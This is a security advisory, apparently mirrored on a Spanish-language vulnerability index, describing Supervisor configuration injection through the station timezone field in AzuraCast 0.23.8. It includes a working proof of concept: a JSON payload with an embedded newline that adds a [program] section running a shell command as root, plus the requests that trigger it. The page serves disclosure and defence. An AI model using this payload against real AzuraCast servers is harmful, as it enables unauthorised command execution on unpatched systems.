GHSA-23WX-88M8-PFM2
Authenticated station manager can inject Supervisor configuration through timezone and execute OS commands
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-23WX-88M8-PFM2 divulgada · CVSS 8.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An authenticated station manager with permission to edit station profile settings can inject arbitrary Supervisor configuration through the station timezone field.
The value is written into the generated Supervisor configuration without sufficient escaping. A malicious value containing a newline can create a new Supervisor program definition and execute an arbitrary command when the station configuration is regenerated.
This was reproduced on AzuraCast 0.23.8
Details
The station timezone field is accepted as an unrestricted string and is later written into the generated Supervisor configuration by Radio\Configuration::buildEnvironment().
The relevant flow is:
Station::$timezone → Radio\Configuration::buildConfiguration() → buildEnvironment() → generated supervisord.conf
buildEnvironment() escapes % characters but doesn't prevent newlines or Supervisor configuration syntax from being inserted into the generated file.
A station manager can therefore set the timezone to a value such as:
UTC"
[program:z]
command=sh -c "id>/tmp/AZ_ID"
autostart=true
autorestart=false
;When the station configuration is regenerated, Supervisor parses the injected [program:z] section as a new program definition.
This is separate from Liquidsoap configuration injection. The vulnerable value reaches the Supervisor configuration directly.
Proof of concept
Tested on AzuraCast 0.23.8 using the official Docker image.
The account used for testing wasn't a super administrator. It only had station-scoped permission to edit the station profile.
Send:
PUT /api/station/1/profile/edit
Content-Type: application/json
{
"timezone": "UTC\"\n[program:z]\ncommand=sh -c \"id>/tmp/AZ_ID\"\nautostart=true\nautorestart=false\n;"
}Then trigger a station configuration restart:
POST /api/station/1/restartThe generated Supervisor configuration contains the injected program:
[program:z]
command=sh -c "id>/tmp/AZ_ID"
autostart=true
autorestart=falseThe command executes and creates /tmp/AZ_ID containing:
uid=0(root) gid=0(root) groups=0(root)The issue gives an authenticated station manager the ability to execute arbitrary commands inside the AzuraCast runtime.
A station profile permission is enough to store the malicious value. The restart action may require an additional station permission. If the configuration is regenerated later for another reason, the stored value can still be processed.
Impact
An attacker with access to edit a station profile can execute arbitrary OS commands in the AzuraCast runtime.
This can allow access to application data and configuration available to the runtime, modification or deletion of station data, disruption of broadcasting services, and execution of further commands with the permissions available to the AzuraCast process.
This PoC doesn't demonstrate Docker escape or access to the underlying host.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
0.23.8Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistazuracast/azuracast |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-23wx-88m8-pfm2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
